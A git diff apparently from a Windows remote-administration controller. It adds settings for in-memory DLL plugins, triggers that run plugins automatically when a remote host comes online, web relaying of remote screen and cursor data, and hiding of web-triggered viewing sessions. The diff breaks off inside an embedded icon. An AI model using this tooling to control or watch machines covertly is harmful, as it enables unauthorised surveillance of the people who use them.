}
std::ofstream file(path);
if (file.is_open()) {
Json::StreamWriterBuilder builder;
builder["indentation"] = " ";
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
writer->write(root, &file);
}
}
void CPluginSettingsDlg::PatchDllList(std::vector<DllInfo*>& dllList)
{
std::vector<PluginConfig> configs = LoadPluginConfigs();
for (auto& dll : dllList) {
if (!dll || !dll->Data) continue;
// 查找对应的配置
PluginConfig* cfg = nullptr;
for (auto& c : configs) {
if (c.Name == dll->Name) {
cfg = &c;
break;
}
}
if (!cfg) continue;
// 更新 DllExecuteInfo
char* buf = (char*)dll->Data->Buf();
if (dll->Data->length() < 1 + sizeof(DllExecuteInfo)) continue;
DllExecuteInfo* info = reinterpret_cast<DllExecuteInfo*>(buf + 1);
info->RunType = cfg->RunType;
info->CallType = cfg->CallType;
info->Schedule.Mode = cfg->Mode;
info->Schedule.Flags = cfg->Flags;
info->Schedule.Config.Startup.Interval = cfg->Interval;
info->Schedule.MaxCount = cfg->MaxCount;
}
}

View File

@@ -0,0 +1,73 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
#include "common/commands.h"
#include "common/scheduler.h"
#include <vector>
#include <string>
// 前向声明
struct DllInfo;
// 插件配置结构体(用于 JSON 存储)
struct PluginConfig {
std::string Name; // 插件名称(作为唯一标识)
std::string Md5; // MD5
int RunType; // 运行类型
int CallType; // 调用方式
unsigned char Mode; // 调度模式
unsigned char Flags; // 标志位
unsigned int Interval; // 间隔(秒)
unsigned char MaxCount; // 最大次数
PluginConfig() : RunType(MEMORYDLL), CallType(CALLTYPE_IOCPTHREAD), Mode(SCH_MODE_NONE), Flags(0), Interval(0), MaxCount(0) {}
};
// 插件设置对话框
class CPluginSettingsDlg : public CDialogLangEx
{
public:
CPluginSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent = nullptr);
virtual ~CPluginSettingsDlg();
enum { IDD = IDD_DIALOG_PLUGIN_SETTINGS };
// 静态方法:加载插件配置
static std::vector<PluginConfig> LoadPluginConfigs();
// 静态方法:保存插件配置
static void SavePluginConfigs(const std::vector<PluginConfig>& configs);
// 静态方法:获取配置文件路径
static std::string GetPluginConfigPath();
// 静态方法:根据配置更新 DllInfoPatch
static void PatchDllList(std::vector<DllInfo*>& dllList);
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
DECLARE_MESSAGE_MAP()
afx_msg void OnBnClickedBtnSave();
afx_msg void OnLvnItemchangedListPlugins(NMHDR* pNMHDR, LRESULT* pResult);
private:
void InitListCtrl();
void LoadPluginsToList();
void UpdateSelectedPluginInfo();
void SaveCurrentPluginConfig();
PluginConfig* FindConfig(const std::string& name);
private:
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
std::vector<PluginConfig> m_Configs; // 插件配置列表
int m_nSelectedIndex; // 当前选中的列表项索引
// 控件变量
CListCtrl m_listPlugins;
CComboBox m_comboRunType;
CComboBox m_comboCallType;
CComboBox m_comboMode;
CEdit m_editInterval;
CEdit m_editMaxCount;
};

View File

@@ -156,7 +156,13 @@ CScreenSpyDlg::CScreenSpyDlg(CMy2015RemoteDlg* Parent, Server* IOCPServer, CONTE
LPBYTE pClientID = m_ContextObject->InDeCompressedBuffer.GetBuffer(41);
if (pClientID) {
m_ClientID = *((uint64_t*)pClientID);
Mprintf("[ScreenSpyDlg] Parsed clientID in constructor: %llu\n", m_ClientID);
// Notify web clients of resolution (important for clients that only send TOKEN_BITMAPINFO once)
if (WebService().IsRunning()) {
int width = m_BitmapInfor_Full->bmiHeader.biWidth;
int height = abs(m_BitmapInfor_Full->bmiHeader.biHeight);
WebService().NotifyResolutionChange(m_ClientID, width, height);
}
}
// 从客户端配置初始化自适应质量状态 (QualityLevel: -2=关闭, -1=自适应, 0-5=具体等级)
@@ -758,6 +764,12 @@ BOOL CScreenSpyDlg::OnInitDialog()
// 注册屏幕上下文到 WebService用于 Web 端鼠标/键盘控制)
WebService().RegisterScreenContext(m_ClientID, m_ContextObject);
// Hide window if this session was triggered by web client
if (WebService().IsWebTriggered(m_ClientID) && WebService().GetHideWebSessions()) {
m_bHide = true;
ShowWindow(SW_HIDE);
}
return TRUE;
}
@@ -1254,6 +1266,10 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2+sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex) {
bChange = TRUE;
// 通知 Web 客户端光标变化
if (WebService().IsRunning()) {
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
}
if (m_bIsCtrl && !m_bIsTraceCursor) {//替换指定窗口所属类的WNDCLASSEX结构
HCURSOR cursor;
if (m_bCursorIndex == 254) { // -2: 使用自定义光标
@@ -1295,6 +1311,24 @@ VOID CScreenSpyDlg::DrawNextScreenDiff(bool keyFrame)
break;
}
case ALGORITHM_H264: {
// Decode locally if dialog is visible
if (!m_bHide && NextScreenLength > 0) {
if (Decode((LPBYTE)NextScreenData, NextScreenLength)) {
bChange = TRUE;
}
}
// Broadcast H264 keyframe to web clients
if (NextScreenLength > 0 && WebService().IsRunning()) {
std::vector<uint8_t> packet(4 + 1 + 4 + NextScreenLength);
uint32_t deviceIdLow = (uint32_t)(m_ClientID & 0xFFFFFFFF);
uint8_t frameType = 1; // Keyframe
uint32_t dataLen = (uint32_t)NextScreenLength;
memcpy(packet.data(), &deviceIdLow, 4);
packet[4] = frameType;
memcpy(packet.data() + 5, &dataLen, 4);
memcpy(packet.data() + 9, NextScreenData, NextScreenLength);
WebService().BroadcastH264Frame(m_ClientID, packet.data(), packet.size());
}
break;
}
default:
@@ -1429,6 +1463,10 @@ VOID CScreenSpyDlg::DrawScrollFrame()
m_bCursorIndex = m_ContextObject->InDeCompressedBuffer.GetBuffer(2 + sizeof(POINT))[0];
if (bOldCursorIndex != m_bCursorIndex) {
bChange = TRUE;
// 通知 Web 客户端光标变化
if (WebService().IsRunning()) {
WebService().BroadcastCursor(m_ClientID, m_bCursorIndex);
}
}
// 读取滚动参数

View File

@@ -0,0 +1,497 @@
#include "stdafx.h"
#include "TriggerSettingsDlg.h"
#include "2015RemoteDlg.h"
#include "jsoncpp/json.h"
#include <fstream>
#include <sstream>
#ifndef _WIN64
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncppd.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp.lib")
#endif
#else
#ifdef _DEBUG
#pragma comment(lib, "jsoncpp/jsoncpp_x64d.lib")
#else
#pragma comment(lib, "jsoncpp/jsoncpp_x64.lib")
#endif
#endif
// GBK (CP_ACP) -> UTF-8 编码转换
static std::string GbkToUtf8(const std::string& gbkStr)
{
if (gbkStr.empty()) return "";
// GBK -> WideChar
int wideLen = MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, NULL, 0);
if (wideLen <= 0) return gbkStr;
std::wstring wideStr(wideLen, 0);
MultiByteToWideChar(CP_ACP, 0, gbkStr.c_str(), -1, &wideStr[0], wideLen);
// WideChar -> UTF-8
int utf8Len = WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL);
if (utf8Len <= 0) return gbkStr;
std::string utf8Str(utf8Len, 0);
WideCharToMultiByte(CP_UTF8, 0, wideStr.c_str(), -1, &utf8Str[0], utf8Len, NULL, NULL);
// 移除末尾的 null 字符
if (!utf8Str.empty() && utf8Str.back() == '\0') {
utf8Str.pop_back();
}
return utf8Str;
}
// UTF-8 -> GBK (CP_ACP) 编码转换
static std::string Utf8ToGbk(const std::string& utf8Str)
{
if (utf8Str.empty()) return "";
// UTF-8 -> WideChar
int wideLen = MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, NULL, 0);
if (wideLen <= 0) return utf8Str;
std::wstring wideStr(wideLen, 0);
MultiByteToWideChar(CP_UTF8, 0, utf8Str.c_str(), -1, &wideStr[0], wideLen);
// WideChar -> GBK
int gbkLen = WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, NULL, 0, NULL, NULL);
if (gbkLen <= 0) return utf8Str;
std::string gbkStr(gbkLen, 0);
WideCharToMultiByte(CP_ACP, 0, wideStr.c_str(), -1, &gbkStr[0], gbkLen, NULL, NULL);
// 移除末尾的 null 字符
if (!gbkStr.empty() && gbkStr.back() == '\0') {
gbkStr.pop_back();
}
return gbkStr;
}
BEGIN_MESSAGE_MAP(CTriggerSettingsDlg, CDialogLangEx)
ON_BN_CLICKED(IDC_BTN_SAVE, &CTriggerSettingsDlg::OnBnClickedBtnSave)
ON_BN_CLICKED(IDC_BTN_TRIGGER_ADD, &CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd)
ON_BN_CLICKED(IDC_BTN_TRIGGER_REMOVE, &CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove)
ON_NOTIFY(LVN_ITEMCHANGED, IDC_LIST_TRIGGERS, &CTriggerSettingsDlg::OnLvnItemchangedListTriggers)
END_MESSAGE_MAP()
CTriggerSettingsDlg::CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent)
: CDialogLangEx(IDD_DIALOG_TRIGGER_SETTINGS, pParent)
, m_DllList(dllList)
{
}
CTriggerSettingsDlg::~CTriggerSettingsDlg()
{
}
void CTriggerSettingsDlg::DoDataExchange(CDataExchange* pDX)
{
CDialogLangEx::DoDataExchange(pDX);
DDX_Control(pDX, IDC_COMBO_TRIGGER_TYPE, m_comboTriggerType);
DDX_Control(pDX, IDC_LIST_TRIGGER_PLUGINS, m_listPlugins);
DDX_Control(pDX, IDC_LIST_TRIGGERS, m_listTriggers);
}
BOOL CTriggerSettingsDlg::OnInitDialog()
{
CDialogLangEx::OnInitDialog();
InitControls();
// 加载配置
m_Configs = LoadTriggerConfigs();
// 加载插件列表
LoadPluginsToList();
// 加载已配置的触发器
LoadTriggersToList();
return TRUE;
}
void CTriggerSettingsDlg::InitControls()
{
// 初始化触发类型下拉框
m_comboTriggerType.InsertString(TRIGGER_HOST_ONLINE, _TR("主机上线"));
m_comboTriggerType.SetCurSel(TRIGGER_HOST_ONLINE);
// 初始化插件列表
m_listPlugins.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES | LVS_EX_CHECKBOXES);
m_listPlugins.InsertColumn(0, _TR("插件名称"), LVCFMT_LEFT, 160);
// 初始化已配置触发器列表
m_listTriggers.SetExtendedStyle(LVS_EX_FULLROWSELECT | LVS_EX_GRIDLINES);
m_listTriggers.InsertColumn(0, _TR("触发器"), LVCFMT_LEFT, 160);
// 设置静态文本
SetWindowText(_TR("触发器设置"));
GetDlgItem(IDC_STATIC_TRIGGER_TYPE)->SetWindowText(_TR("触发类型:"));
GetDlgItem(IDC_STATIC_TRIGGER_ACTION)->SetWindowText(_TR("执行动作:"));
}
void CTriggerSettingsDlg::LoadPluginsToList()
{
m_listPlugins.DeleteAllItems();
int index = 0;
for (const auto& dll : m_DllList) {
if (!dll || !dll->Data) continue;
m_listPlugins.InsertItem(index, CString(dll->Name.c_str()));
m_listPlugins.SetItemData(index, (DWORD_PTR)dll);
index++;
}
// 如果有已配置的主机上线触发器,勾选对应的插件
TriggerConfig* onlineTrigger = GetOnlineTrigger(m_Configs);
if (onlineTrigger) {
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (!dll) continue;
for (const auto& pluginName : onlineTrigger->PluginNames) {
if (pluginName == dll->Name) {
m_listPlugins.SetCheck(i, TRUE);
break;
}
}
}
}
}
void CTriggerSettingsDlg::LoadTriggersToList()
{
m_listTriggers.DeleteAllItems();
const char* typeNames[] = { "主机上线" };
int index = 0;
for (const auto& cfg : m_Configs) {
if (!cfg.PluginNames.empty()) {
// 显示触发器类型和插件数量
CString text;
text.Format(_T("%s (%d)"), _TR(typeNames[cfg.Type]), (int)cfg.PluginNames.size());
m_listTriggers.InsertItem(index, text);
m_listTriggers.SetItemData(index, cfg.Type);
index++;
}
}
}
void CTriggerSettingsDlg::OnBnClickedBtnTriggerAdd()
{
// 获取选中的触发类型
int triggerType = m_comboTriggerType.GetCurSel();
if (triggerType < 0) return;
// 获取勾选的插件(直接从 DllInfo 获取名称,避免编码转换问题)
std::vector<std::string> selectedPlugins;
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
if (m_listPlugins.GetCheck(i)) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (dll) {
selectedPlugins.push_back(dll->Name);
}
}
}
if (selectedPlugins.empty()) {
MessageBoxL(_TR("请先选择至少一个插件"), _TR("提示"), MB_ICONINFORMATION);
return;
}
// 查找或创建该类型的触发器
TriggerConfig* cfg = nullptr;
for (auto& c : m_Configs) {
if (c.Type == (TriggerType)triggerType) {
cfg = &c;
break;
}
}
if (!cfg) {
TriggerConfig newCfg;
newCfg.Type = (TriggerType)triggerType;
m_Configs.push_back(newCfg);
cfg = &m_Configs.back();
}
cfg->PluginNames = selectedPlugins;
// 刷新显示
LoadTriggersToList();
}
void CTriggerSettingsDlg::OnBnClickedBtnTriggerRemove()
{
POSITION pos = m_listTriggers.GetFirstSelectedItemPosition();
if (!pos) return;
int nItem = m_listTriggers.GetNextSelectedItem(pos);
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
// 从配置中移除
for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) {
if (it->Type == type) {
m_Configs.erase(it);
break;
}
}
// 取消插件列表的勾选
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
m_listPlugins.SetCheck(i, FALSE);
}
// 刷新显示
LoadTriggersToList();
}
void CTriggerSettingsDlg::OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult)
{
LPNMLISTVIEW pNMLV = reinterpret_cast<LPNMLISTVIEW>(pNMHDR);
*pResult = 0;
// 只处理选中状态变化
if (!(pNMLV->uNewState & LVIS_SELECTED)) return;
int nItem = pNMLV->iItem;
if (nItem < 0) return;
TriggerType type = (TriggerType)m_listTriggers.GetItemData(nItem);
// 查找对应的触发器配置
TriggerConfig* cfg = nullptr;
for (auto& c : m_Configs) {
if (c.Type == type) {
cfg = &c;
break;
}
}
// 先取消所有勾选
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
m_listPlugins.SetCheck(i, FALSE);
}
// 勾选该触发器配置的插件
if (cfg) {
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (!dll) continue;
for (const auto& pluginName : cfg->PluginNames) {
if (pluginName == dll->Name) {
m_listPlugins.SetCheck(i, TRUE);
break;
}
}
}
}
// 同步下拉框选择
m_comboTriggerType.SetCurSel(type);
}
void CTriggerSettingsDlg::OnBnClickedBtnSave()
{
// 先从界面收集当前选择
int triggerType = m_comboTriggerType.GetCurSel();
if (triggerType >= 0) {
std::vector<std::string> selectedPlugins;
for (int i = 0; i < m_listPlugins.GetItemCount(); i++) {
if (m_listPlugins.GetCheck(i)) {
DllInfo* dll = reinterpret_cast<DllInfo*>(m_listPlugins.GetItemData(i));
if (dll) {
selectedPlugins.push_back(dll->Name);
}
}
}
// 更新或创建触发器配置
TriggerConfig* cfg = nullptr;
for (auto& c : m_Configs) {
if (c.Type == (TriggerType)triggerType) {
cfg = &c;
break;
}
}
if (!selectedPlugins.empty()) {
if (!cfg) {
TriggerConfig newCfg;
newCfg.Type = (TriggerType)triggerType;
m_Configs.push_back(newCfg);
cfg = &m_Configs.back();
}
cfg->PluginNames = selectedPlugins;
} else if (cfg) {
// 如果没有选中插件,删除该触发器
for (auto it = m_Configs.begin(); it != m_Configs.end(); ++it) {
if (it->Type == (TriggerType)triggerType) {
m_Configs.erase(it);
break;
}
}
}
}
SaveTriggerConfigs(m_Configs);
LoadTriggersToList();
MessageBoxL(_TR("配置已保存"), _TR("提示"), MB_ICONINFORMATION);
}
std::string CTriggerSettingsDlg::GetTriggerConfigPath()
{
std::string dbPath = GetDbPath();
size_t pos = dbPath.find_last_of("\\/");
std::string dir = (pos != std::string::npos) ? dbPath.substr(0, pos + 1) : "";
return dir + "triggers.json";
}
std::vector<TriggerConfig> CTriggerSettingsDlg::LoadTriggerConfigs()
{
std::vector<TriggerConfig> configs;
std::string path = GetTriggerConfigPath();
std::ifstream file(path);
if (!file.is_open()) {
return configs;
}
Json::Value root;
Json::CharReaderBuilder builder;
std::string errors;
if (!Json::parseFromStream(builder, file, &root, &errors)) {
return configs;
}
if (!root.isArray()) {
return configs;
}
for (const auto& item : root) {
TriggerConfig cfg;
cfg.Type = (TriggerType)item.get("type", TRIGGER_HOST_ONLINE).asInt();
const Json::Value& plugins = item["plugins"];
if (plugins.isArray()) {
for (const auto& p : plugins) {
cfg.PluginNames.push_back(Utf8ToGbk(p.asString())); // UTF-8 -> GBK
}
}
if (!cfg.PluginNames.empty()) {
configs.push_back(cfg);
}
}
return configs;
}
void CTriggerSettingsDlg::SaveTriggerConfigs(const std::vector<TriggerConfig>& configs)
{
std::string path = GetTriggerConfigPath();
Json::Value root(Json::arrayValue);
for (const auto& cfg : configs) {
Json::Value item;
item["type"] = cfg.Type;
Json::Value plugins(Json::arrayValue);
for (const auto& name : cfg.PluginNames) {
plugins.append(GbkToUtf8(name)); // GBK -> UTF-8
}
item["plugins"] = plugins;
root.append(item);
}
std::ofstream file(path);
if (file.is_open()) {
Json::StreamWriterBuilder builder;
builder["indentation"] = " ";
builder["emitUTF8"] = true; // 输出可读的 UTF-8 字符,而非 \uXXXX
std::unique_ptr<Json::StreamWriter> writer(builder.newStreamWriter());
writer->write(root, &file);
file.close(); // 确保文件完全写入并关闭
}
// 通知 TriggerManager 重新加载缓存
TriggerManager::Instance().Reload();
}
TriggerConfig* CTriggerSettingsDlg::GetOnlineTrigger(std::vector<TriggerConfig>& configs)
{
for (auto& cfg : configs) {
if (cfg.Type == TRIGGER_HOST_ONLINE && !cfg.PluginNames.empty()) {
return &cfg;
}
}
return nullptr;
}
// ============================================
// TriggerManager 实现
// ============================================
TriggerManager::TriggerManager() : m_bLoaded(false)
{
InitializeCriticalSection(&m_cs);
}
TriggerManager::~TriggerManager()
{
DeleteCriticalSection(&m_cs);
}
void TriggerManager::LoadFromDisk()
{
// 不加锁,由调用者保证线程安全
m_OnlinePlugins.clear();
auto configs = CTriggerSettingsDlg::LoadTriggerConfigs();
for (const auto& cfg : configs) {
if (cfg.Type == TRIGGER_HOST_ONLINE) {
for (const auto& name : cfg.PluginNames) {
m_OnlinePlugins.insert(name);
}
}
}
m_bLoaded = true;
}
void TriggerManager::Reload()
{
EnterCriticalSection(&m_cs);
LoadFromDisk();
LeaveCriticalSection(&m_cs);
}
bool TriggerManager::HasOnlineTrigger()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
bool has = !m_OnlinePlugins.empty();
LeaveCriticalSection(&m_cs);
return has;
}
std::set<std::string> TriggerManager::GetOnlinePlugins()
{
EnterCriticalSection(&m_cs);
if (!m_bLoaded) {
LoadFromDisk();
}
std::set<std::string> result = m_OnlinePlugins; // 复制一份返回
LeaveCriticalSection(&m_cs);
return result;
}

View File

@@ -0,0 +1,99 @@
#pragma once
#include "resource.h"
#include "LangManager.h"
#include <vector>
#include <string>
#include <set>
// 前向声明
struct DllInfo;
// 触发器类型
enum TriggerType {
TRIGGER_HOST_ONLINE = 0, // 主机上线
// 后续可扩展更多类型
};
// 触发器配置
struct TriggerConfig {
TriggerType Type; // 触发类型
std::vector<std::string> PluginNames; // 要执行的插件名称列表
TriggerConfig() : Type(TRIGGER_HOST_ONLINE) {}
};
// 触发器管理器(单例,线程安全,缓存配置)
class TriggerManager {
public:
static TriggerManager& Instance() {
static TriggerManager instance;
return instance;
}
// 获取主机上线触发器的插件名称集合(高性能查询)
std::set<std::string> GetOnlinePlugins();
// 重新加载配置(保存后调用)
void Reload();
// 检查是否有上线触发器
bool HasOnlineTrigger();
private:
TriggerManager();
~TriggerManager();
TriggerManager(const TriggerManager&) = delete;
TriggerManager& operator=(const TriggerManager&) = delete;
void LoadFromDisk();
CRITICAL_SECTION m_cs;
std::set<std::string> m_OnlinePlugins; // 缓存的上线触发器插件名称
bool m_bLoaded;
};
// 触发器设置对话框
class CTriggerSettingsDlg : public CDialogLangEx
{
public:
CTriggerSettingsDlg(std::vector<DllInfo*>& dllList, CWnd* pParent = nullptr);
virtual ~CTriggerSettingsDlg();
enum { IDD = IDD_DIALOG_TRIGGER_SETTINGS };
// 静态方法:加载触发器配置
static std::vector<TriggerConfig> LoadTriggerConfigs();
// 静态方法:保存触发器配置
static void SaveTriggerConfigs(const std::vector<TriggerConfig>& configs);
// 静态方法:获取配置文件路径
static std::string GetTriggerConfigPath();
// 静态方法:获取主机上线触发器(如果存在)
static TriggerConfig* GetOnlineTrigger(std::vector<TriggerConfig>& configs);
protected:
virtual void DoDataExchange(CDataExchange* pDX);
virtual BOOL OnInitDialog();
DECLARE_MESSAGE_MAP()
afx_msg void OnBnClickedBtnSave();
afx_msg void OnBnClickedBtnTriggerAdd();
afx_msg void OnBnClickedBtnTriggerRemove();
afx_msg void OnLvnItemchangedListTriggers(NMHDR* pNMHDR, LRESULT* pResult);
private:
void InitControls();
void LoadPluginsToList();
void LoadTriggersToList();
void UpdateTriggerDisplay();
private:
std::vector<DllInfo*>& m_DllList; // 引用主对话框的 DLL 列表
std::vector<TriggerConfig> m_Configs; // 触发器配置列表
// 控件变量
CComboBox m_comboTriggerType;
CListCtrl m_listPlugins;
CListCtrl m_listTriggers;
};

View File

@@ -44,7 +44,7 @@
// 程序版本号 [建议格式: X.Y.Z]
// 影响:关于对话框、标题栏
#define BRAND_VERSION "1.3.1"
#define BRAND_VERSION "1.3.2"
// 启动画面名称 [建议大写,更有 Logo 感]
// 影响:启动画面 Logo 文字(大号艺术字体渲染)

View File

@@ -22,6 +22,7 @@ inline std::string GetWebPageHTML() {
<meta name="mobile-web-app-capable" content="yes">
<meta name="theme-color" content="#1a1a2e">
<link rel="manifest" href="/manifest.json">
<link rel="icon" type="image/png" href="data:image/png;base64,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